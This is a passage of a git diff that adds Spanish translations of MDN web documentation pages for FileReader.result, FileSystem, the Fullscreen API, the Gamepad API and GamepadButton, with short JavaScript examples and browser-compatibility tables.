+translation_of: Web/API/FileReader/result
+---
+<div>{{APIRef("File API")}}</div>
+
+<div> </div>
+
+<div>La propiedad <code><strong>result</strong></code> de {{domxref("FileReader")}} retorna el contenido del archivo. Esta propiedad es válida únicamente después de que la operación de lectura del archivo es completada. El formato de la infomación devuelta depende de cuál de los métodos de lectura fue usado.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>file</em> = <em>instanceOfFileReader</em>.result
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Una cadena de texto apropiada o un {{domxref("ArrayBuffer")}} dependiendo de cuál método de lectura haya provocado la operación de lectura. El valor es <code>null</code> si la lectura no se ha completado aún o no fue exitosa.</p>
+
+<p>Los tipos de resultados son descritos a continuación.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Método</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/FileReader/readAsArrayBuffer">readAsArrayBuffer()</a></code></td>
+   <td><code>result</code> es un <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a></code> de JavaScript que contiene la información binaria.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/FileReader/readAsBinaryString">readAsBinaryString()</a></code></td>
+   <td>
+    <p><code>result</code> contiene la información binaria del archivo en una cadena de texto.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/FileReader/readAsDataURL">readAsDataURL()</a></code></td>
+   <td>
+    <p><code>result</code> es una cadena de texto que representa una URL con la propiedad <code>data:</code> que contiene la información leída del archivo.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/FileReader/readAsText">readAsText()</a></code></td>
+   <td><code>result</code> es una cadena de texto con el contenido del archivo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo representa una función <code>read()</code>, que lee un archivo de un <a href="/en-US/docs/Web/HTML/Element/input/file">file input</a>. Funciona creando un objeto de {{domxref("FileReader")}} y creando un listener para los eventos <a href="/en-US/docs/Web/Events/load">load</a> de tal manera que cuando el archivo es leído, la propiedad <code>result</code> es obtenida y pasada a la función callback proporcionada a <code>read()</code>.</p>
+
+<p>El contenido es manejado como texto.</p>
+
+<pre class="brush: js">var fileInput = document.querySelector('input[type="file"]');
+
+function read(callback) {
+  var file = fileInput.files.item(0);
+  var reader = new FileReader();
+
+  reader.onload = function() {
+    callback(reader.result);
+  }
+
+  reader.readAsText(file);
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.FileReader.result")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/es/web/api/filesystem/index.html b/files/es/web/api/filesystem/index.html
new file mode 100644
index 0000000000..62f5e91b4b
--- /dev/null
+++ b/files/es/web/api/filesystem/index.html
@@ -0,0 +1,118 @@
+---
+title: FileSystem
+slug: Web/API/FileSystem
+translation_of: Web/API/FileSystem
+---
+<p>{{APIRef("File System API")}} {{non-standard_header}}</p>
+
+<p>La interfaz de la API <strong><code>FileSystem</code></strong>  para la entrada de archivos y directorios es usada para representar un sistema de archivos.  Estos objetos pueden ser obtenidos desde la propiedad {{domxref("FileSystemEntry.filesystem", "filesystem")}} en cualquier entrada del sistema de archivos . Algunos navegadores ofrecen APIs adicionales para crear y administrar el sistema de archivos , como el metodo de Chrome {{domxref("Window.requestFileSystem", "requestFileSystem()")}}.</p>
+
+<p>This interface will not grant you access to the users filesystem. Instead you will have a "virtual drive" within the browser sandbox. If you want to gain access to the users filesystem you need to invoke the user by eg. installing a Chrome extension. The relevant Chrome API can be found <a href="https://developer.chrome.com/apps/fileSystem">here</a>.</p>
+
+<div class="note">
+<p>Because this is a non-standard API, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. Check the {{anch("Browser compatibility")}} section for details.</p>
+</div>
+
+<h2 id="Conceptos_Basicos">Conceptos Basicos</h2>
+
+<p>Hay dos formas de acceder a un objeto <code>FileSystem</code> :</p>
+
+<ol>
+ <li>You can directly ask for one representing a sandboxed file system created just for your web app directly by calling <code>window.requestFileSystem()</code>.  If that call is successful, it executes a callback handler, which receives as a parameter a <code>FileSystem</code> object describing the file system.</li>
+ <li>You can get it from a file system entry object, through its {{domxref("FileSystemEntry.filesystem", "filesystem")}} property.</li>
+</ol>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("FileSystem.name")}} {{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("USVString")}} representing the file system's name. This name is unique among the entire list of exposed file systems.</dd>
+ <dt>{{domxref("FileSystem.root")}} {{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("FileSystemDirectoryEntry")}} object which represents the file system's root directory. Through this object, you can gain access to all files and directories in the file system.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File System API')}}</td>
+   <td>{{Spec2('File System API')}}</td>
+   <td>Draft of proposed API</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>This API has no official W3C or WHATWG specification.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad entre navegadores </h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>13{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoDesktop(50) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}} {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>0.16{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile(50) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Microsoft Edge implements this interface under the name <code>WebKitFileSystem</code>, and supports its use only in drag-and-drop scenarios using the {{domxref("DataTransferItem.webkitGetAsEntry()")}} method. It's not available for use in file or folder picker panels (such as when you use an {{HTMLElement("input")}} element with the {{domxref("HTMLInputElement.webkitdirectory")}} attribute.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a></li>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">Introduction to the File System API</a></li>
+ <li>{{domxref("FileSystemEntry")}}, {{domxref("FileSystemFileEntry")}}, and {{domxref("FileSystemDirectoryEntry")}}</li>
+ <li>MSDN article: <a href="https://msdn.microsoft.com/library/mt732564">WebKitFileSystem object</a></li>
+</ul>
diff --git a/files/es/web/api/fullscreen_api/index.html b/files/es/web/api/fullscreen_api/index.html
new file mode 100644
index 0000000000..0914c6d627
--- /dev/null
+++ b/files/es/web/api/fullscreen_api/index.html
@@ -0,0 +1,297 @@
+---
+title: Fullscreen API
+slug: Web/API/Fullscreen_API
+translation_of: Web/API/Fullscreen_API
+---
+<p>{{DefaultAPISidebar("Fullscreen API")}}</p>
+
+<p class="summary">La <strong><code>API Fullscreen</code></strong> provee una manera fácil de presentar contenido web usando la pantalla completa del usuario. La API permite indicar al navegador que un elemento y sus hijos, si los tiene, ocupar la pantalla completa, ocultando toda la interfaz del usuario y otras aplicaciones de la pantalla mientras se esté en pantalla completa.</p>
+
+<div class="note">
+<p>De momento, no todos los navegadores usan la versión sin prefijo de la API. Consulta la <a href="#Prefijado">tabla que resume las diferencias de prefijos y nombres</a>.</p>
+</div>
+
+<h2 id="Specification" name="Specification">Activando modo de pantalla completa</h2>
+
+<p>Para cualquier elemento que quieras presentar en pantalla completa (como por ejemplo, un elemento {{ HTMLElement("video") }}), puedes presentarlo en pantalla completa, simplemente invocando a su método <code>requestFullscreen()</code>.</p>
+
+<p>Consideremos este elemento {{ HTMLElement("video") }}:</p>
+
+<pre class="brush: html">&lt;video controls id="myvideo"&gt;
+  &lt;source src="somevideo.webm"&gt;&lt;/source&gt;
+  &lt;source src="somevideo.mp4"&gt;&lt;/source&gt;
+&lt;/video&gt;
+</pre>
+
+<p>Podemos poner este video en pantalla completa con un script como éste:</p>
+
+<pre class="brush: js">var elem = document.getElementById("myvideo");
+if (elem.requestFullscreen) {
+  elem.requestFullscreen();
+}
+</pre>
+
+<h3 id="Diferencias_de_presentación">Diferencias de presentación</h3>
+
+<p>Cabe aclarar una diferencia clave entre las implementaciones de Gecko y WebKit: Gecko automáticamente añade reglas CSS al elemento para ajustarlo a las dimensiones de la pantalla: "<code>width: 100%; height: 100%</code>". WebKit no hace esto; en su lugar, centra el elemento con su mismo tamaño original en un fondo negro. Para obtener el mismo comportamiento en WebKit, necesitas añadir manualmente las reglas CSS "<code>width: 100%; height: 100%;</code>" al elemento:</p>
+
+<pre class="brush: css">#myvideo:-webkit-full-screen {
+  width: 100%;
+  height: 100%;
+}
+</pre>
+
+<p>Por otro lado, si quieres emular el comportamiento de WebKit en Gecko, necesitarías colocar el elemento a presentar dentro de otro elemento, con las reglas CSS necesarias para ajustarlo a la apariencia requerida, y será dicho elemento contenedor el que se establecerá para aparecer en pantalla completa.</p>
+
+<h3 id="Notificación">Notificación</h3>
+
+<p>Cuando el modo de pantalla completa sea invocado exitosamente, el documento que contiene al elemento recibe un evento {{ event("fullscreenchange") }}. Cuando se sale del modo de pantalla completa, el documento recibe de nuevo un evento {{ event("fullscreenchange") }}. Nótese que el evento {{ event("fullscreenchange") }} no provee información alguna sobre si el documento está entrando o saliendo a modo de pantalla completa, pero puedes saber si está en dicho modo si la propiedad {{ domxref("document.fullscreenElement", "fullscreenElement") }} del documento no es nula.</p>
+
+<h3 id="Cuando_la_solicitud_de_pantalla_completa_falla">Cuando la solicitud de pantalla completa falla</h3>
+
+<p>No es garantía que se pueda cambiar a modo de pantalla completa. Por ejemplo, los elementos {{ HTMLElement("iframe") }} tienen un atributo {{ HTMLAttrXRef("allowfullscreen", "iframe") }} para decidir si se permitirá que el contenido se muestre en pantalla completa. Además, ciertos tipos de contenido, como plug-ins en ventana, no pueden ser presentados en modo de pantalla completa. Intentar hacerlo con elementos que no lo permitan (o el padre o descendente de un elemento así), no funcionará. En su lugar, el elemento que solicitó la pantalla completa recibirá un evento <code>fullscreenerror</code>. En Firefox, cuando falla una solicitud de pantalla completa, el navegador registrará un mensaje de error en la consola, explicando la falla de la solicitud. En Chrome y versiones recientes de Opera, sin embargo, no se genera ninguna advertencia.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Las solicitudes de pantalla completa necesitan ser invocadas dentro de un manejador de eventos, o de otro modo, serán denegadas.</p>
+</div>
+
+<h2 id="Saliendo_del_modo_de_pantalla_completa">Saliendo del modo de pantalla completa</h2>
+
+<p>El usuario siempre tendrá la habilidad de salir del modo de pantalla completa por su propia cuenta; véase {{ anch("Things_your_users_want_to_know", "Cosas que los usuarios querrán saber") }}. Incluso se puede hacer programáticamente, llamando al método {{domxref("exitFullscreen()")}}.</p>
+
+<h2 id="Otra_información">Otra información</h2>
+
+<p>El objeto {{ domxref("document") }} provee información adiciional que puede ser útil al desarrollar aplicaciones de pantalla completa:</p>
+
+<dl>
+ <dt>{{ domxref("document.fullscreenElement", "fullscreenElement") }}</dt>
+ <dd>El atributo <code>fullscreenElement</code> apunta al {{ domxref("element", "elemento") }} actualmente en modo pantalla. Si no es nulo, el documento está en pantalla completa, y si es nulo, no lo está.</dd>
+ <dt>{{ domxref("document.fullscreenEnabled", "fullscreenEnabled") }}</dt>
+ <dd>El atributo <code>fullscreenEnabled</code> indica si el documento está actualmente en un estado que permitiría solicitudes al modo de pantalla completa.</dd>
+</dl>
+
+<h2 id="Things_your_users_want_to_know" name="Things_your_users_want_to_know">Cosas que los usuarios querrán saber</h2>
+
+<p>Puedes asegurarte de hacer saber a los usuarios que pueden presionar la tecla <kbd>ESC</kbd> (o <kbd>F11</kbd>) para salir del modo de pantalla completa.</p>
+
+<p>Adicionalmente, navegando a otra página, cambiando de pestaña, o cambiando a otra aplicación(usando, por ejemplo, <kbd>Alt</kbd>-<kbd>Tab</kbd>) mientras se está en pantalla completa, también se saldrá de dicho modo.</p>
+
+<h2 id="Specification" name="Specification">Ejemplo</h2>
+
+<p>En este ejemplo, se presenta un video en una página web. Presionando la tecla <kbd>Return</kbd> o <kbd>Enter</kbd> el usuario podrá moverse entre modo de ventana o de pantalla completa para la presentación del video.</p>
+
+<p><a href="/samples/domref/fullscreen.html">Ver ejemplo en vivo</a></p>
+
+<h3 id="Observando_la_tecla_Enter">Observando la tecla <kbd>Enter</kbd></h3>
+
+<p>Cuando la página se carga, este código se ejecuta para establecer un evento para cuando se presione la tecla <kbd>Enter</kbd>.</p>
+
+<pre class="brush: js">document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+</pre>
+
+<h3 id="Cambiando_entre_modo_de_pantalla_completa_y_modo_de_ventana">Cambiando entre modo de pantalla completa y modo de ventana</h3>
+
+<p>Este código es llamado cuando el usuario presiona la tecla <kbd>Enter</kbd>, como se ve arriba.</p>
+
+<pre class="brush: js">function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+      document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}
+</pre>
+
+<p>En este código, primero se observa si el atributo <code>fullscreenElement</code> de {{ domxref("document") }} (comprobando si tiene prefijo <code>moz</code>,<code> ms</code>, o <code>webkit</code>). Si es <code>null</code>, el documento está en modo de ventana actualmente, así que necesitamos cambiarlo a modo de pantalla completa. Esto se hace llamando a la función {{ domxref("element.requestFullscreen()") }}.</p>
+
+<p>Si el modo de pantalla completa está activado (<code>fullscreenElement</code> no es <code>null</code>), llamamos a la función {{ domxref("document.exitFullscreen()") }}.</p>
+
+<h2 id="Prefijado">Prefijado</h2>
+
+<p>De momento, no todos los navegadores están implementando la versión sin prefijo de la API. Aquí está la tabla que resume los prefijos y diferencias de nombres entre ellos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Estándar</th>
+   <th scope="col">Blink (Chrome y Opera)</th>
+   <th scope="col">Gecko (Firefox)</th>
+   <th scope="col">Internet Explorer 11</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.fullscreen")}}</td>
+   <td><code>webkitIsFullScreen</code></td>
+   <td><code>mozFullScreen</code></td>
+   <td><em>-</em></td>
+   <td><code>webkitIsFullScreen</code></td>
+   <td><code>webkitIsFullScreen</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.fullscreenEnabled")}}</td>
+   <td><code>webkitFullscreenEnabled</code></td>
+   <td><code>mozFullScreenEnabled</code></td>
+   <td><code>msFullscreenEnabled</code></td>
+   <td><code>webkitFullscreenEnabled</code></td>
+   <td><code>webkitFullscreenEnabled</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.fullscreenElement")}}</td>
+   <td><code>webkitFullscreenElement</code></td>
+   <td><code>mozFullScreenElement</code></td>
+   <td><code>msFullscreenElement</code></td>
+   <td><code>webkitFullscreenElement</code></td>
+   <td><code>webkitFullscreenElement</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.onfullscreenchange")}}</td>
+   <td><code>onwebkitfullscreenchange</code></td>
+   <td><code>onmozfullscreenchange</code></td>
+   <td><code>onmsfullscreenchange</code></td>
+   <td><code>onwebkitfullscreenchange</code></td>
+   <td><code>onwebkitfullscreenchange</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.onfullscreenerror")}}</td>
+   <td><code>onwebkitfullscreenerror</code></td>
+   <td><code>onmozfullscreenerror</code></td>
+   <td><code>onmsfullscreenerror</code></td>
+   <td><code>onwebkitfullscreenerror</code></td>
+   <td><code>onwebkitfullscreenerror</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.exitFullscreen()")}}</td>
+   <td><code>webkitExitFullscreen()</code></td>
+   <td><code>mozCancelFullScreen()</code></td>
+   <td><code>msExitFullscreen()</code></td>
+   <td><code>webkitExitFullscreen()</code></td>
+   <td><code>webkitExitFullscreen()</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element.requestFullscreen()")}}</td>
+   <td><code>webkitRequestFullscreen()</code></td>
+   <td><code>mozRequestFullScreen()</code></td>
+   <td><code>msRequestFullscreen()</code></td>
+   <td><code>webkitRequestFullscreen()</code></td>
+   <td><code>webkitRequestFullscreen()</code></td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Versión inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>All browsers implement this APIs. Nevertheless some implement it with prefixed names we slightly different spelling: e.g. instead of <code>requestFullscreen()</code>, there is a <code>MozRequestFullScreen()</code>.</p>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>15 {{ property_prefix("-webkit") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("9.0") }} {{ property_prefix("-moz") }}<br>
+    {{CompatGeckoDesktop("47")}} (behind <code>full-screen-api.unprefix.enabled</code>)</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>12.10</td>
+   <td>5.0 {{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>fullscreenEnabled</code></td>
+   <td>20 {{ property_prefix("-webkit") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("10.0") }} {{ property_prefix("-moz") }}<br>
+    {{CompatGeckoDesktop("47")}} (behind <code>full-screen-api.unprefix.enabled</code>)</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>12.10</td>
+   <td>5.1 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>28 {{ property_prefix("-webkit") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("9.0") }}{{ property_prefix("-moz") }}<br>
+    {{CompatGeckoMobile("47")}} (behind <code>full-screen-api.unprefix.enabled</code>)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>fullscreenEnabled</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>28 {{ property_prefix("-webkit") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("10.0") }} {{ property_prefix("moz") }}<br>
+    {{CompatGeckoMobile("47")}} (behind <code>full-screen-api.unprefix.enabled</code>)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{ domxref("Element.requestFullscreen()") }}</li>
+ <li>{{ domxref("Document.exitFullscreen()") }}</li>
+ <li>{{ domxref("Document.fullscreen") }}</li>
+ <li>{{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{ cssxref(":fullscreen") }}, {{cssxref("::backdrop")}}</li>
+ <li>{{ HTMLAttrXRef("allowfullscreen", "iframe") }}</li>
+</ul>
diff --git a/files/es/web/api/gamepad_api/index.html b/files/es/web/api/gamepad_api/index.html
new file mode 100644
index 0000000000..ea16ef2b62
--- /dev/null
+++ b/files/es/web/api/gamepad_api/index.html
@@ -0,0 +1,95 @@
+---
+title: Gamepad API
+slug: Web/API/Gamepad_API
+tags:
+  - API
+  - Experimental
+  - Gamepad API
+  - juegos
+translation_of: Web/API/Gamepad_API
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}</div>
+
+<p><strong>Gamepad API</strong> es la manera de los desarrolladores de acceder y responder a las señales de los gamepads y otros controles para juegos de una manera simple y consistente. Éste contiene tres interfaces, dos eventos y una función especializada, para responder a los gamepads siendo conectados y desconectados, y acceder a otra información sobre los mismos gamepads, y que botones y otros controles están siendo presionados.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad" title="The Gamepad interface of the Gamepad API defines an individual gamepad or other controller, allowing access to information such as button presses, axis positions, and id."><code>Gamepad</code></a></dt>
+ <dd>Representa un gamepad/control conectado a la computadora.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadButton" title="The GamepadButton interface defines an individual button of a gamepad or other controller, allowing access to the current state of different types of buttons available on the control device."><code>GamepadButton</code></a></dt>
+ <dd>Representa un botón en uno de los gamepads conectados.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadEvent" title="The GamepadEvent interface of the Gamepad API contains references to gamepads connected to the system, which is what the gamepad events Window.gamepadconnected and Window.gamepaddisconnected are fired in response to."><code>GamepadEvent</code></a></dt>
+ <dd>El evento objeto representa eventos que son enviados a los gamepads.</dd>
+</dl>
+
+<h3 id="Extensiones_experimentales_de_los_gamepads">Extensiones experimentales de los gamepads</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadHapticActuator" title="The GamepadHapticActuator interface of the Gamepad API represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware."><code>GamepadHapticActuator</code></a></dt>
+ <dd>Representa el hardware en el control designado para proveer retroalimentación háptica al usuario (si está disponible), más comunmente hardware de vibración.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadPose" title="The GamepadPose interface of the Gamepad API represents the pose of a WebVR controller at a given timestamp (which includes orientation, position, velocity, and acceleration information.)"><code>GamepadPose</code></a></dt>
+ <dd>Representa la posición de un control (ej. posición y orientación el espacio 3D) en el caso de un controllador <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebVR_API">WebVR</a>. Éste no es usado por el nuevo estándar <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>.</dd>
+</dl>
+
+<p>Ver también las <a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">extensiones para la interfaz del navegador</a>, para caracteristicas que le permitan acceder a la información mencionada.</p>
+
+<h3 id="Extensiones_y_otras_interfaces">Extensiones y otras interfaces</h3>
+
+<h4 id="Navigator">Navigator</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.getGamepads()")}}</dt>
+ <dd>Una extensión a el objeto {{domxref("Navigator")}} que devuelve un arreglo de objetos {{domxref("Gamepad")}}, uno para cada gamepad conectado.</dd>
+</dl>
+
+<h4 id="Eventos_del_Window">Eventos del Window</h4>
+
+<dl>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Representa un manejador de evento que se ejecutará cuando un gamepad es conectado (cuando se dispara el evento {{event('gamepadconnected')}}).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Representa un manejador de evento que se ejecutará cuando un gamepad es desconectado (cuando se dispara el evento {{event('gamepaddisconnected')}}).</dd>
+</dl>
+
+<h2 id="Guías_y_tutoriales">Guías y tutoriales</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API">Usando la gamepad API</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/Controls_Gamepad_API">Implementación de controles usando la gamepad API</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Defines the {{anch("Experimental Gamepad extensions")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "", "The Gamepad API specification")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad es generada de datos estructurados. Si desea contribuir a los datos, por favor, echa un vistazo <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envienos una pull request.</div>
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">La gamepad API</a> por Ted Mielczarek y Robert Nyman</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Página de demostración simple de la API</a> (<a href="https://github.com/luser/gamepadtest">código fuente</a>)</li>
+</ul>
diff --git a/files/es/web/api/gamepadbutton/index.html b/files/es/web/api/gamepadbutton/index.html
new file mode 100644
index 0000000000..666d75b9a9
--- /dev/null
+++ b/files/es/web/api/gamepadbutton/index.html
@@ -0,0 +1,90 @@
+---
+title: GamepadButton
+slug: Web/API/GamepadButton
+tags:
+  - API
+  - API Gamepad
+  - Referencia
+  - juegos
+translation_of: Web/API/GamepadButton
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>La interfaz <strong><code>GamepadButton</code></strong> define un botón individual de un gamepad u otro control, dando acceso al estado actual de diferentes tipos de botones disponibles en el dispositivo de control.</p>
+
+<p>Un objeto <code>GamepadButton</code> se devuelve al solicitar cualquier valor del array devuelto por la propiedad <code>buttons</code> de la interfaz {{domxref("Gamepad")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Este es el caso en Firefox Gecko 28 en adelante; Chrome y versiones anteriores de Firefox continúan devolviendo un array de valores dobles cuando se accede a esta propiedad.</p>
+</div>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("GamepadButton.value")}} {{readonlyInline}}</dt>
+ <dd>Un valor doble usado para representar el estado actual de botones análogos, así como los gatillos de muchos gamepads modernos. Los valores se normalizan al rango 0.0 —1.0, donde 0.0 representa un botón que no está presionado, y 1.0 representa un botón que está completamente presionado.</dd>
+ <dt>{{domxref("GamepadButton.pressed")}} {{readonlyInline}}</dt>
+ <dd>Un valor {{domxref("Boolean")}} que indica el estado el botón, ya sea que actualmente se encuentre presionado (<code>true</code>) o sin presionar (<code>false</code>).</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
